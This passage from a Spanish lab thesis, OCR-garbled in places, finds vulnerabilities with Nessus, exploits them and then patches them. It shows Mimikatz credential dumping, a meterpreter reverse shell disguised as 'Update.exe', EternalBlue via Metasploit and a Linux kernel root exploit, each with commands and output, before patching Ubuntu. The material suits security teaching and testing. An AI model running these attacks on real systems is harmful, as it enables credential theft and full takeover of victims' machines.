THE v 0 Uincent LE TOUR ¢ vincent.letouxBgmail.com >

* g > https://pingcastle.com ~ https://mysmartlogon.com e

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

llustracién 129 — comando sekurlsa::logonpasswords

[ ][]

Déndonos como resultado las siguientes dos imagenes. En ambas imagenes podemos encontrar
toda la informacion referente tanto a los usuarios dados de alta en el sistema como la informacion
del equipo. Podemos ver que el equipo de Windows 7 tiene tres usuarios. El primero,
Administrador con contrasefia ‘admin’, el segundo usuario, Juan con contrasefia ‘Juan1234’ y el
tercer usuario, admin con contrasefia ‘12Admin34!’.
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5 mimikatz 2.2.0 164 (oe.eo)

mimikatz # sekurlsza::logonpasswords

Authentication Id
Session

User Mame

Domain

Logon Server
Logon Time

msw =

[ABBRAEA3 1
Username
Domain
LH

NTLM

* Uzername
* Domain

#* Password
kerheros =
* lsername
#* Domain

#* Password
ssp =

credman =

Authentication Id
Session

Uzer Mame

Domain

EIT
[ARBBARAS 1
Username
Domain
LH
WILM

* Password
wdigest =
#* Username
#* Domain
* Password
kerheros =
* Uzsername
* Domain
#* Password
ssp =

credman =

A ; 18478127 <(DAABOAAA:AAfe231>

Interactive from 4

Administrador

admin—-PC

ADHIN-FC

26,18-2822 12:14:52
§-1-5-21-2415122193-2888225081-4891878437-5808

Primary

! Administrador
admin—PC
fAd412hd?64f feflaadibh435hh1484ee
209c6174dad98caehd422f3fa%aPaeb34
PcBV541fd3f 3ef5P16e12d411988c8?a6A46a8:8

Administrador
admin—PC
admin

Administrador
admin—PC
admin

Administrador
admin—PC
admin

B ; 18826915 (DEAARAAAA:AATBEfa3>

Interactive from 3

Juan

admin—-PC

ADMIN-PC

26-180-2022 11:58:51
§-1-5-21-2415%122193-2888225081 -4871878437-1883

Primary

: Juan
admin—PC
B825b2%aaeadl5ed 9 FF17365faf1ffed?
ee?h?345%ae7ea?IBBEf fBadd2baltBaf
a?2ab54762af c15fA?dc56660702017d5783£d1 4f

Juan
admin—PC
Juanl234

Juan
admin—PC
Juani1234

Juan
admin—PC
Juanl234

llustracién 130 — informacidn obtenida con Mimikatz

=B =

Sy mimikatz 2.2.0 64 (oe.eo)

msw
[AAARAAAZ 1
Username
Domain
LH

NTLM

#* Password
uwdigest =

=* Username
=* Domain

#* Passuword
kerheros =
* Username
* Domain

#* Passuword
sEp =

credman :

B ; 118723 (I900AE00: A8B1LAE3 >

Interactive from 1

admin

admin—-PC

ADHIN-FC

26-18-2022 12:26:82
§-1-5-21-2415122193-2888225881-4021878437-1881

Primary
EGLED]
admin-PG
A9f3h2751cB45h7c848bf 456hadble?8
8637eh2a2805%1c66B6ccB1d624c516h
111119d7daade2255740185%458hB6d5 c4cef A7H1

admin
adnin—PC
12Admin34t

admin
admin—-PGC
12Admin34t

admin

admin—-PGC
12Admin34*

llustraciéon 131 — informacion obtenida con Mimikatz

=N EoR ==
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Ahora, si miramos los usuarios que hay creados en el equipo, efectivamente vemos que hay tres
y protegidos con contrasefia.

Elegir la cuenta que desee cambiar

admin
Administrador
Protegida por contrasefia

Administrador
Administrador
Protegida por contrasefia

Juan
Adrministrador
Protegida por contraseria

llustracién 132 — usuarios de W7

De esta manera hemos encontrado con Nessus una vulnerabilidad en el equipo de Windows 7,
que gracias a la informacién que nos ha dado, hemos podido averiguar que es explotable con
Mimikat y usando este hemos conseguido explotar la vulnerabilidad consiguiendo sacar el
nombre y contrasefia de todos los usuarios creados en el equipo. [24]

6.3.2 Reverse.

El segundo gran problema es la falta de actualizacion de los equipos. Esto ocasiona una
desproteccion del sistema enorme. En muchos casos, la falta de las actualizaciones de seguridad
en los equipos provoca que muchos exploits o archivos maliciosos no sean detectados una vez
descargados en el equipo.

En nuestro caso, analizando los resultados del escaneo de vulnerabilidad del equipo Windows 10,
hemos encontrado que el equipo tiene una gran cantidad de vulnerabilidades por falta de
actualizaciones de seguridad en el equipo.

9.8 KB5008212: Windows 10 Version 2004 / Windows 10 Version 20H2 / Windows 10 Version 21H1 / Windows 10 Version...
9.8 KB5009543: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (January 2022)

9.8 KB5012599: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (April 2022)

9.8 KB5013942: Windows 10 Version 20H2 7 21H1 # 21H2 Security Update (May 2022)

9.8 KB5016616: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (August 2022)

98 KBS017308: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (September 2022)

9.8 KB5018410: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (October 2022)

m 93+ MS09-060: Vulnerabilities in Microsoft Active Template Library (ATL) ActiveX Contrels for Microsoft Office Could Allow ...
[ i | 8.8  KB5010342: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (February 2022)

m 8.8 KB5011487: Windows 10 Version 20H2 / 21H1 # 21HZ Security Update (March 2022)

m 8.8 KB5014699: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (June 2022)

m 8.8 KB5015807: Windows 10 Version 20H2 / 21H1 / 21H2 Security Update (July 2022)

m 8.8 KB5019958: Windows 10 Version 20HZ / 21H1 / 21HZ2 f 22H2 Security Update (November 20232)

m 7.4 WinverifyTrust Signature Validation CVE-2013-3800 Mitigation (EnableCertPaddingCheck)

llustracion 133 — Vulnerabilidades W10
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Aprovecharemos estas vulnerabilidades para utilizar Metasploit y hacer un reverse al equipo. Para
ello, configuraremos un equipo oyente (maquina kali) y crearemos un archivo malicioso que le
pasaremos al equipo de Windows 10 para que actle como cliente y se conecte a nosotros, al
equipo oyente, consiguiendo asi una shell interactiva en kali desde la cual nosotros como atacantes
podemos utilizar para explorar la maquina de destino (W10) y ejecutar cualquier codigo.

Una gran ventaja al hacer reverse es que meterpreter reside completamente en la memoria y no
escribe nada en el disco. Ademas, tampoco crea nuevos procesos sino que se inyecta en los
procesos comprometidos desde los puede ir haciéndose con el control de otros procesos en
ejecucion.

Lo primero que haremos sera ejecutar el siguiente comando. Con este comando generaremos un
ejecutable, el cual llamaremos ‘Update.exe’ y se lo pasaremos al equipo victima (Windows 10)
para tener acceso completo al sistema y hacernos con el control del equipo.

En el comando pondremos la IP del equipo atacante (Kali) y un puerto que servira de escucha.

70 LPORT=4444 exe /home/kali/Desktop/Update
from the

llustracion 134 — Generacion de ejecutable

Una vez lanzado el comando, habremos creado el archivo malicioso que enviaremos al equipo
victima.

Update.exe

llustracion 135 — Ejecutable

Lo siguiente que haremos, sera abrir una consola de Metasploit. Introduciendo el comando
‘msfconsole’ en una terminal de Kali. Una vez abierta la consola escribiremos el siguiente
comando para definir el controlador de explotacion que usaremos.

msfé > use multi/handler
Using configured payload generic/shell_re

msf6 exploit( ) > |

llustracién 136 — Controlador de explotacion

Una vez definido el controlador de explotacidn, definimos el tipo de conexion que usaremos desde
la maquina victima a la maquina del atacante. Con este comando, mantendremos en todo
momento el contacto entre ambas maquinas.

67



exploit( )

e |
LOAD = windows/meterpre
. ;

exploit( )

llustracién 137 — Payload

Mostramos las opciones de meterpreter para comprobar que solo nos falta por cumplimentar la IP
del equipo atacante. Definimos la direccién del servidor atacante.

msf6 exploit( ) > show options
Module options (exploit/multi/handler):

Name Current Setting Regquired Description

Payload options (windows/meterpre averse_tcp):
Name Cux tting Reguired D iption
EXITFUNC process : xit chnigque HER Y- o process, none)
LHOST el en a : (an interface may be ecified)
LPORT Lhbh
Exploit target:
Id Name

Wildcard Target

) > set LHOST

llustracion 138 — Establecimiento de la IP del equipo atacante

Comprobamos que se ha establecido correctamente la IP del equipo atacante.

Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.70 yes The listen address (an interface may be specified)

LPORT L4544 yes The listen port

llustracion 139 — Corroborar la correcta configuracion

Lanzamos el siguiente comando para poner a la maquina atacante en escucha, a la espera de que
la maquina victima ejecute el archivo.

®xploit( } = exploit

reverse TCP handler on 192.168.1.70:4444

llustracién 140 — Maquina atacante en escucha

Una vez hecho todo esto, abriamos terminado de crear y configurar nuestro archivo malicioso.
Ahora, mediante ingenieria social o teniendo el control de otro equipo de la red, enviariamos el
archivo a la victima y lo ejecutariamos.

Como podemos ver, el archivo se descarga correctamente en el equipo y cuando lo ejecutamos
solo muestra un mensaje de que no se sabe la procedencia del archivo pero el propio sistema no
lo bloquea ni lo muestra como virus. Por lo que, seguimos con el proceso.
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Windows protegioé su PC

efender impidio el inicio de una aplic
sta aplicacién, podrias poner en riesgo el PC.

Aplicacion: Update
Editor: Editor desconocido

E Ejecutar de todas formas

Update

llustracion 141 — Ejecucion del archivo malicioso

Una vez ejecutado el archivo en la maquina victima, volvemos a la maquina atacante. Y como
podemos ver en la siguiente imagen, la maquina atacante ya habria comenzado el proceso de
reverse consiguiendo asi una terminal shell de Windows desde la propia méaquina de Kali.

-190-26 13:

Ilustracion 142 — Inicio de reverse

Ahora con el comando help podemos ver todos los comandos que podemos usar para manipular
la maquina victima. Hay infinidad de comandos de todo tipo, hay comandos genéricos para el
manejo de Windows, para la manipulacion de archivos, de red, del sistema, para la interfaz, para
las camaras web, para el audio, para elevacion de privilegios, para la base de datos de las
contrasefias almacenadas y comandos para el timestomp.

Con esta gran cantidad de comandos y con una terminal del equipo con privilegios de
administrador nos habriamos hecho ya con el control del equipo.

Por altimo, lanzamos varios comandos para comprobar su efectividad. EI primer comando
lanzado es para ver toda la informacién del sistema.
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sysinfo
: DESKTOP-L77960D
Windows 1@ (1@.@ Build 1904%).

Architecture
System Lan

llustracion 143 — comando sysinfo

El segundo comando es para tomar una screenshot de la maquina victima desde la maquina
atacante. Esta captura se guardaria en nuestra propia maquina atacante.

llustracion 144 — comando screenshot

El tercer y Gltimo comando probado sirve para abrir una cmd desde la maguina atacante, que
como podemaos ver, nos la abre directamente con el usuario administrador, teniendo asi un control
total sobre el equipo victima.

nel 1 crea .
osoft Window Versien 10.0.19044.

Todos los de

llustracion 145 — comando cmd

De esta manera, hemos encontrado con Nessus varias vulnerabilidades en el equipo de Windows
10, que gracias a la informacién que nos han dado, hemos podido averiguar que, frente a una
explotacion con un archivo malicioso el sistema no tendria la capacidad de deteccidn de este, por
la falta de las actualizaciones de seguridad. Y haciendo un reverse, usando Metasploit, hemos
conseguido hacernos con el control total del equipo. [25]
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6.3.3 EternalBlue.

Como explicamos en el ataque anterior, uno de los grandes problemas es la falta de
actualizaciones de seguridad. En este apartado, veremos el problema de la falta de actualizaciones
de seguridad maés el uso de un sistema operativo sin soporte.

Utilizando Nessus y escaneando un equipo con Windows 7 como sistema operativo, hemos
encontrado una famosa vulnerabilidad explotable con EternalBlue.

]
H

H H
1 E

vuinerabilities

":.

T

llustracién 146 — Vulnerabilidad CVE-2017-0144

Como podemos ver en la siguiente imagen, en el margen derecho, esta vulnerabilidad tiene un
factor de riesgo alto y es facilmente explotable con Metasploit. Tambien podemos leer en la
descripcion y en los diferentes links, que esta vulnerabilidad del sistema permite que un
ciberatacante pueda hacer una ejecucion remota de un cédigo malicioso en el ordenador de la
victima sin ser detectado.

llustracién 147 — Informacion de la vulnerabilidad CVE-2017-0144

Esta vulnerabilidad, junto con su exploit, se hicieron muy famosos por la sencillez de explotacion
y la falta de parches que eliminasen esta vulnerabilidad del sistema. Microsoft, mas tarde, saco
una actualizacion de seguridad, la MS17-010, pero solo para ciertas versiones de Windows 7, y
fue aqui donde se demostré la importancia de contar con un sistema operativo con soporte que
recibiese actualizaciones de seguridad cada cierto tiempo.
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El exploit que utilizaremos para explotar esta vulnerabilidad, EternalBlue, es un exploit que fue
desarrollado por la Agencia de Seguridad Nacional de Estados Unidos para explotar la
vulnerabilidad CVE-2017-0144 que corresponde a un fallo de seguridad en el protocolo Server
Message Block de Microsoft. Este programa fue robado y filtrado por un grupo de hackers, The
Shadow Brokers.

Para la explotacion de esta vulnerabilidad, lo primero que haremos serd abrir una consola de
Metasploit. Para ello lanzamos el comando ‘msfconsole’.

kali@kali: ~

File Actions Edit View Help

Ty - 402 post
9 - 11 nops
9 ¢

tasploit tip: Use the 1 rce command to run
nds from a file
Metasploit Documentation: https://docs.metasploit.com/

mst6 > i

llustracion 148 — Consola de Metasploit

Una vez dentro de la consola, buscamos en el repositorio de Metasploit el exploit de EternalBlue
con el siguiente comando.

ternalblue

t with a module by name or index. For example

llustracion 149 — Busqueda del exploit en repositorio

Una vez encontrado el exploit, lanzamos el siguiente comando para seleccionarlo.

msf6 > use exploit/windows/smb/ms17_010_eternalblue

No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
llustracion 150 —Seleccidn del exploit

72



Una vez seleccionado, nos dice que no hay ningin Payload configurado. Lanzamos el comando
‘options’ para ver que nos queda por configurar. Como vemos en la siguiente imagen, ya tenemos
establecida la IP del equipo atacante y el puerto en el que escucharemos pero falta por introducir
la IP de la maquina victima.

msf6 > use exploit/wind /ms17_010_eternalblue
No payload configured, defaul /i
f6 exploit(

Module options (exploit/windows/smb/ms17_010_
rent Setting Required
ithub.com/rapid7/metasploit-framework/wiki/Us

domain to use for authentication. Only af
d for the specified v

dows 7, r machines.
ndows Embedded
Payload options (windows/xi
Name Current Sett

chnique (Accepted: ''

Id Name

@ Automatic Target

exploit(

llustracion 151 —Opciones del payload

Lanzamos el siguiente comando para introducir la IP del equipo victima.

et rhosts

Windows Embedded dard 7 target machines.

machines.

Ilustracion 152 — Introducimos la IP del equipo victima

Una vez hemos seleccionado el exploit que usaremos y configurado su payload, corremos el
exploit. Y como vemos en la siguiente imagen, hemos conseguido explotar la vulnerabilidad y
acceder al equipo.

msf6 exploit( ) > run

Started erse TCP handler on 192.168.1.70:4444
.87:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
1445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x64 (64-bit)
1445 - Scanned 1 of 1 hosts (100% complete)
1445 The target is vulnerable.
:445 - Connecting to target for exploitation.
1445 Connection established for exploitation.
1445 Target OS selected valid for OS indicated by SMB reply
1445 CORE raw buffer dump (27 bytes)
1445 0x00000000 57 69 6e 64 6f 77 73 20 37 20 6f 66 65 73 Windows 7 Profes
L1445 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 3 sional 7600
1445 Target arch selected valid for arch indicated by DCE/RPC reply
1445 Trying exploit with 12 Groom Allocations.
1445 Sending all but last fragment of exploit packet
1445 Starting non-paged pool grooming
1445 - Sending SMBv2 buffers
1445 Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBv2 buffers.
Sending last fragment of
Receiving response from exploit packet
ETERNALBLUE overwrite completed successfully (0xC000000D)!
Sending egg to corrupted connection.
.1.87: Triggering free of corrupted buffer.
Sending stage (200774 bytes) to 1 168.1.87
Meterpreter session 1 opened (192.168.1.70:4444 — 192.168.1.87:49312) at 20 10-31 11:10:53 -0400
.1.87:445 -

llustracién 153 — Lanzamiento del exploit
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Lanzamos el comando ‘sysinfo’ para ver la informacion del equipo al que estamos atacando.

meterpreter > sysinfo
Computer : ADMIN-PC

0S : Windows 7 (6.1 Build 7600).
Architecture : X64

System Language : es_ES
Domain : WORKGROUP
Logged On Users : 5
Meterpreter : X64/windows

llustracién 154 — Detalles del SO victima

Como podemos ver, estamos dentro del equipo victima desde la maquina atacante. Por Gltimo,
lanzamos el siguiente comando para ver con que usuario estamos y vemaos que, con el usuario
administrador con mas permisos de Windows, lo equivalente a root en Linux.

Hustracion 155 — Usuario NT AUTHORITY\SYSTEM

De esta manera, hemos encontrado con Nessus la vulnerabilidad CVE-2017-0144 en el equipo
Windows 7, que gracias a la informacion que nos ha dado, hemos podido averiguar qué, es
explotable con Metasploit utilizando el exploit de EternalBlue. Gracias a este exploit, hemos
podido hacernos con el control del equipo victima sin ser detectados de ninguna manera. [26]

6.3.4 Escalada de privilegios.

Una de las técnicas mas utilizadas cuando se tiene acceso a un equipo con usuario sin permisos,
es la blsqueda exhaustiva de vulnerabilidades y brechas en el sistema que te permitan escalar
privilegios hasta hacerte con el control total del sistema.

En muchos de los ataques no se ataca directamente al objetivo final, sino que se consigue acceso
a otro equipo de la misma red con menor seguridad y poco a poco mediante vulnerabilidades en
los diferentes sistemas ir moviéndonos por la red consiguiendo poco a poco escalar privilegios
hasta conseguir un usuario con control total en el sistema objetivo.

En nuestro caso, hemos encontrado una serie de vulnerabilidades en el kernel del equipo Linux
que nos permitiran utilizar un exploit para escalar privilegios hasta conseguir permisos de root.
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7.8 Ubuntu 16.04 ESM £ 18.04 LTS : Linux kernel vulnerahilities (USN-5515-1)

7.8 Ubuntu 16.04 ESM : Linux kernel vulnerabilities (USN-5560-2)

Ubuntu 16.04 LTS/ 18.04 LTS : Linux kernel vulnerabilities (USN-3018-1)

7.8 Ubuntu 16.04 LTS/ 18.04 LTS @ Linux kernel vulnerabilities (LUSN-3298-1)

oo

7.8 Ubuntu 16.04 LTS 7 18.04 LTS : Linux kernel vulnerability (USN-5357-1)

llustracion 156 — Vulnerabilidades del kernel de Linux

Dentro de ellas podemos encontrar la siguiente informacion, podemos ver que dichas
vulnerabilidades tienen un factor de riesgo alto y son facilmente explotables con Metasploit o con
cualquier tipo de exploit de escalado de privilegios.

CVSS 30 Base Score 78

\inerability Information

Exploitabie With

llustracion 157 — Informacion de la vulnerabilidad del kernel

Para explotar dichas vulnerabilidades lanzamos el siguiente comando para corroborar la version
del kernel que tenemos en nuestra maquina Linux.

sergi.o@eqﬂi.po: bpf_mapfd_doubleput_exploit$ uname -a
Linux equipo 4 generic #50-Ubuntu SMP Wed Jul 13 @0:087:12 UTC 2016 x

X86 64 x86 64
sergio@equipo: arg bpf_mapfd_doubleput_exploits ]

llustracion 158 — kernel de la maquina victima
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Una vez corroborada la version de kernel que tenemos, buscamos un exploit para dicha version
gue nos ayude a escalar privilegios a nuestro usuario sin permisos.

Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD)
Privilege Escalation

EDB-ID: CVE: Author: Type: Platform: Date:
20164557 GOOGLE LOCAL LINUX 0160504
SECURITY
RESEARCH
EDB Verified: Vulnerable App:

Exploit: + / {}
(< ©

Source: https://bugs.chroniun.org/p/project-zero/issues/detailzid=8es

In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.64.

llustracion 159 — Exploit

URL del exploit: https://www.exploit-db.com/exploits/39772

Lo primero que haremos sera descargar y descomprimir el exploit en la maquina victima.

Descargas

1 Carpeta personal Descargas

© Recdientes

2 Carpeta personal J Lzip

o 39772 39772.zip 39772.txk
[m Escritorio

llustracion 160 — Descarga del exploit

ebpf_mapfd_doubleput_exploit

¥ Carpeta personal Descargas 39772 ebpf_mapfd_doubleput_exploit

© Recientes @ @ @
@ Carpeta personal -

o a.out compile.sh doubleput.c hello.c
[ Escritorio
+, Descargas C
[ Documentos

suidhelper.c

llustracion 161 — Archivos del exploit

Una vez hemos descomprimido los archivos, compilamos y ejecutamos el script del exploit.
Esperaremos a que termine su ejecucion completa.
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Y

sergio@equipo: ~/Descargas/39772/ebpf_mapfd_doubleput_exploit

sergio@equipo:~/Descargas/39772/ebpf_mapfd_doubleput_exploit$ 1s
compile.sh doubleput.c hello.c suidhelper.c

sergio@equipo:~ rg 772 /ebpf_mapfd_doublep <ploit$ ./compile.sh
sergio@equipo:~/Descarg ebpf_mapfd_doubleput_exploit$ ./doubleput

starting writev

woohoo, got pointer reuse

writev returned successfully. if this worked, you'll have a root shell in <=60 s
econds.

llustracion 162 — Compilado y ejecucion del exploit

Una vez terminada la ejecucion del exploit con éxito, nos cambiara automaticamente de usuario
a root con todos los privilegios del sistema.

sergio@equipo: ~/Descargas/39772/ebpf_mapfd_doubleput_exploit
sergio@equipo:~/Desca /39772 /ebpf_mapfd_doubleput_exploit$ 1s
compile.sh doubleput hello.c suidhelper.c
sergio@equipo:~/Desc / f fd_doubleput «ploit$ ./compile.sh
sergio@equipo:~ sCa s/39772/e fd_doubleput_ loit$ ./doubleput
starting writev
woohoo, got pointer reuse

writev returned successfully. if this worked, you'll have a root shell in <=60 s
econds.

suid file detected, launching rootshell...

we have root privs now...
root@equipo:~/Descargas/39772/ebpf_mapfd_doubleput_exploit# id
uid=0(root)

root@equipo:

llustracion 163 — Escalada de privilegios a root

De esta manera, hemos encontrado con Nessus una serie de vulnerabilidades en el equipo Linux,
que gracias a la informacion que nos han dado, hemos podido averiguar qué, son explotables con
Metasploit y con diferentes exploit independientes de escalado de privilegios. Gracias al exploit
utilizado, hemos logrado un escalado de privilegios cambiandonos el usuario a root, consiguiendo
asi un control total del equipo. [27]
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6.4 Remediacion y parcheo de las vulnerabilidades.

En este apartado identificaremos las vulnerabilidades de los cuatro equipos del entorno e
intentaremos remediar todas las vulnerabilidades posibles. Generalmente, para eliminar las
vulnerabilidades de los equipos se suelen aplicar actualizaciones del sistema, hacer cambios en la
configuracion o actualizaciones del software vulnerable.

Una vez parcheadas las vulnerabilidades, volveremos a lanzar el escaneo para corroborar la
eliminacion de estas. También, veremos la gran diferencia e importancia de un sistema operativo
con soporte activo versus un sistema operativo sin soporte.

6.4.1 Ubuntu.

El primer equipo que parchearemos sera el equipo Ubuntu. Este equipo parte con las siguientes
vulnerabilidades.

J .

llustracion 164 — 12 Escaneo de Vulnerabilidades Ubuntu

Lo primero que haremos sera lanzar el siguiente comando para que actualice la lista de paquetes
disponibles.

-

) administrador@equipo: ~
Archivo Editar Ver Buscar Terminal Ayuda
administrador@equipo:~$ sudo apt-get update
[sudo] password for administrador:
s:1 http://security.ubuntu.com/ubuntu xenial-security InRelease [99,8 kB]

2 http://es.archive.ubuntu.com/ubuntu xenial InRelease
3 http://es.archive.ubuntu.comfubuntu xenial-updates InRelease
j:4 http://es.archive.ubuntu.com/ubuntu xenial-backports InRelease
5 http://security.ubuntu.com/ubuntu xenial-security/main amd64 DEP-11 Metadata [93,7 kB]
6 http://security.ubuntu.com/ubuntu xenial-security/universe amd64 DEP-11 Metadata [130 kB]
s:7 http://security.ubuntu.com/ubuntu xenial-security/multiverse amd64 DEP-11 Metadata [2.468 B]
Descargados 326 kB en 0s (388 kB/s)
Leyendo lista de paquetes... Hecho

llustracion 165 — comando Update

Lanzamos el siguiente comando para que, una vez el comando anterior ha actualizado la lista de
paquetes disponibles, este, actualice dichos paquetes.

@ @ administrador@equipo: ~

administrador@equipo:~$ sudo apt-get upgrade

[sudo] password for administrador:

Leyendo lista de paguetes... Hecho

Creando arbol de dependencias

Leyendo la informacién de estado... Hecho

Calculando la actualizacién... Hecho

Los siguientes paquetes se han retenido:
apt apt-utils dpkg libapt-pkg5.® ubuntu-advantage-tools update-notifier update-notifier-common

Se actualizaran los siguientes paquetes:
apt-transport-https base-files dpkg-dev grub-common grub-pc grub-pc-bin grub2-common initramfs-tools initramfs-tools-bin
initramfs-tools-core libapt-inst2.0 libdpkg-perl libgnutls-openssl27 libgnutls3@ libpam-modules libpam-modules-bin
libpam-runtime libpam-systemd libpam@g libseccomp2 libsystemde libudev1l python-apt-common python3-apt python3-distupgrade

systemd systemd-sysv ubuntu-desktop ubuntu-minimal ubuntu-release-upgrader-core ubuntu-release-upgrader-gtk
ubuntu-standard udev unattended-upgrades

34 actualizados, 0 nuevos se instalaran, @ para eliminar y 7 no actualizados.

Se necesita descargar 10,6 MB de archivos.

Se liberaran 143 kB después de esta operacién.

llustracién 166 — comando Upgrade
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Lanzamos el siguiente comando para instalar los paquetes restantes que no se hayan instalado y

que elimine de forma inteligente aquellos paquetes obsoletos que tenga nuestro sistema.

() administrador@equipo: ~
Archivo Editar Ver Buscar Terminal Ayuda
administrador@equipo:~$ sudo apt-get dist-upgrade --yes
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacién de estado... Hecho
Calculando la actualizacion... Hecho
Se instalaran los siguientes paquetes NUEVOS:

distro-info libzstd1l python3-distro-info python3-yaml
Se actualizaran los siguientes paquetes:

apt apt-utils dpkg libapt-pkg5.0 ubuntu-advantage-tools update-notifier update-notifier-common
7 actualizados, 4 nuevos se instalaran, @ para eliminar y © no actualizados.
Se necesita descargar 4.725 kB de archivos.
Se utilizaradn 1.622 kB de espacio de disco adicional después de esta operacién.

g s.archive.ubuntu.com/ubuntu xenial-updates/main amd64 libzstdl amd64 1.3.1+dfsg-1~ubuntu®.16.04.1 [15

.archive.ubuntu.comfubuntu xenial-updates/main amd64 dpkg amd64 1.18.4ubuntul.7 [2.084 kB]
.archive.ubuntu.com/ubuntu xenial-updates/main amd64 libapt-pkg5.® amd64 1.2.35 [715 kB]
s.archive.ubuntu.comfubuntu xenial-updates/main amd64 apt amd64 1.2.35 [1.187 kB]
.archive.ubuntu.com/ubuntu xenial-updates/main amd64 apt-utils amd64 1.2.35 [196 kB]
s.archive.ubuntu.com/ubuntu xenial-updates/main amd64 update-notifier amd64 3.168.15 [48,1 kB]
.archive.ubuntu.com/ubuntu xenial-updates/main amd64 python3-distro-info all ©.14ubuntue.2 [8.068 B]
s.archive.ubuntu.com/ubuntu xenial-updates/main amd64 update-notifier-common all 3.168.15 [136 kB]
.archive.ubuntu.com/ubuntu xenial/main amd64 python3-yaml amdé4 3.11-3buildl [95,6 kB]
s:10 http //es.archive.ubuntu.com/ubuntu xenial-updates/main amd64 distro-info amd64 ©.14ubuntu@.2 [28,1 kB]
:11 http://es.archive.ubuntu.com/ubuntu xenial-updates/main amd64 ubuntu-advantage-tools amd64 27.11.3~16.04.1 [
kB]
Descargados 4.725 kB en 0s (10,6 MB/s)

llustracion 167 — comando dist-upgrade

Una vez descargados y actualizados todos los paquetes del equipo, este nos notificara que tenemos

una nueva versién del sistema operativo. Le daremos a actualizar.

Esta disponible la actualizacion a Ubuntu 18.04.6 LTS

Esta disponible una nueva version de Ubuntu. jLe gustaria actualizar?

Mo actualizar Preguntar mas tarde Si, actualizar ahora

llustracién 168 — actualizacion ubuntu

Nos volverd a pedir confirmacion para iniciar la actualizacién. Le daremos a iniciar la

actualizacion.

@ iQuiere comenzar la actualizacion?

54 paquetes instalados ya no estan soportados por Canonical. Puede seguir obteniendo soporte de la comunidad.
Sevan a desinstalar 40 paquetes. Se van a instalar 407 paquetes nuevos. Se van a actualizar 1516 paquetes.

Debe descargar un total de 1.243 M. Esta descarga tardara aproximadamente 2 minutos con su conexién actual.
Esta actualizacion puede tardar varias horas. Una vez finalice la descarga, el proceso no se podra cancelar.

Para prevenir la pérdida de datos, cierre todas las aplicaciones y documentos.

* Detalles

Cancelar Iniciar la actualizacion

Ilustracion 169 — inicio actualizacién Ubuntu

Y esperamos a que termine de actualizar nuestra version del sistema operativo.
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Upgrading Ubuntu to version 18.04

¥

¢ Preparando la actualizacion

<

6.
>

Configurando nuevos canales de software

]

Obteniendo paguetes nuevos

&€

]

Instalando las actualizaciones

v

Limpiando
Reiniciando el equipo

———————————————————————
Buscando paquetes obsoletos

* Terminal

llustracion 170 — Progreso de la actualizacion

El sistema nos preguntara si queremos eliminar los paquetes obsoletos. Le daremos a eliminar.

@ iDesinstalar los paquetes obsoletos?

Sevan a desinstalar 121 paquetes.
La desinstalacion de los paquetes puede tardar varias horas.
Para prevenir la pérdida de datos, cierre todas las aplicaciones y documentos.

* Detalles

Conservar Eliminar

llustracion 171 — Eliminar paquetes obsoletos

Una vez se termina de instalar la actualizacion del sistema, nos pedira reiniciar. Reiniciamos y
lanzamos los dos siguientes comandos para comprobar la version actual del kernel y corroborar
gue el sistema ha pasado de la versién 16.04 a la 18.04.

administrador@equipo: ~
Archivo Editar Ver Buscar Terminal Ayuda
administrador@equip S uname -a

Linux equipo 4.15.0-196-generic #207-Ubuntu SMP Thu Oct 27 21:24:58 UTC 2022 x86_64 xB86_64 x86_64 GNU/Linux
administrador@equipo:~% cat fetc/*issue
Ubuntu 18.04.6 LTS \n \1

llustracion 172 — comandos de version

Una vez corroborada la version del sistema, volvemos a escanear el equipo.

Linux Configure  Audit Tral

Hosts 1 Vulnerabilities | 32 Remediations 1 VPR Top Threats @ History | 3
Filter

Host Vulnerabilities +

llustracion 173 — 22 Escaneo de Vulnerabilidades Ubuntu
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Podemos ver que hemos reducido en gran medida las vulnerabilidades que tenia el equipo. Ahora,
analizaremos las vulnerabilidades restantes.

grave *  Puntaje..
ALTC 2.8
ALTO 2.8
8
ALTOH 7.8
78
ALTOH 7.8
78
ALTO 7.8
ALTO 7.8
74
[eoo IS
[eoo JNT
oo SR
oo JEW

Nombre »

Ubuntu 14.04 LTS/16.04 LTS/18.04 LT5: vulnerabilidades del kernel de Linux (USM-3339-1)

Ubuntu 14.04 LTS/A16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USM-5418-1)

Ubuntu 16.04 LTS/18.04 LTS

Ubuntu 16.04 LT5/18.04 LTS:

Ubuntu 16.04 LT5/18.04 LTS:

Ubuntu 16.04 LTS/ 8.04 LTS:

Ubuntu 16.04 LT5/18.04 LTS:

Ubuntu 16.04 LTS/18.04 LTS:

Ubuntu 16.04 LTS/18.04 LTS:

Ubuntu 16.04 LTS/18.04 LTS:

Ubuntu 16.04 LTS/18.04 LTS

Ubuntu 14,04 LTS/16.04 LTS/18.04 LTS: vulnerabilidades del kernel de Linux (USN-5385-1)

Ubuntu 16.04 LTS/18.04 LTS

Ubuntu 16.04 LTS/18.04 LTS

Ubuntu 16.04 LTS/18.04 LTS

svulnerabilidades del kernel de Linux (USN-5073-1)

vulnerabilidades del kernel de Linux (USN-5018-1)

vulnerabilidades del kernel de Linux (USN-5004-1)

vulnerabilidades del kernel de Linux (USN-5114-1)

vulnerabilidades del kernel de Linux (USN-5138-1)

